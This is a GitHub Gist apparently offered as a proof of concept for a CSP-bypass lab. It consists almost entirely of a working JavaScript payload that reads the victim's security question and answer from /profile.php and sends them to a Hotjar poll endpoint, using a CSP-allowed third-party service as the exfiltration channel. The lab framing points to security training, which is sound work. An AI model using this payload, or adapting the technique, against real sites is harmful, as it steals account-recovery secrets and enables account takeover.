Last active
August 23, 2023 14:44
-
-
Save felmoltor/95e77cd4bccc266562613f94eca7630b to your computer and use it in GitHub Desktop.
PoC for the CSP bypass Lab
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
fetch('/profile.php').then(function (response) { | |
return response.text(); | |
}).then(function (html) { | |
// This is the HTML from our response as a text string | |
const parser = new DOMParser(); | |
const pd = parser.parseFromString(html, "text/html"); | |
sq=(pd.getElementById('security_question')).value; | |
sa=(pd.getElementById('security_answer')).value; | |
var data = {"utk":null, "response_content":"{\"version\":4 ,\"answers\":[{\"questionUuid\":\"78942292\" | |
,\"answer\":\"Something else\", | |
\"comment\":\""+sq+": "+sa+"\"}]}",[…]}; | |
fetch("https://ask.hotjar.io/api/v2/client/sites/2421914/poll/423135/response/85cc0bea-29bb-4963-92e2-00b481a6be98", { | |
method: "POST", | |
headers: { | |
"Content-Type": "application/json", | |
}, | |
body: JSON.stringify(data), | |
}) | |
.then((response) => response.json()) | |
.then((data) => { | |
console.log("Success:", data); | |
}) | |
.catch((error) => { | |
console.error("Error:", error); | |
}); | |
}).catch(function (err) { | |
// There was an error | |
console.warn('Something went wrong on GET profile.php.', err); | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment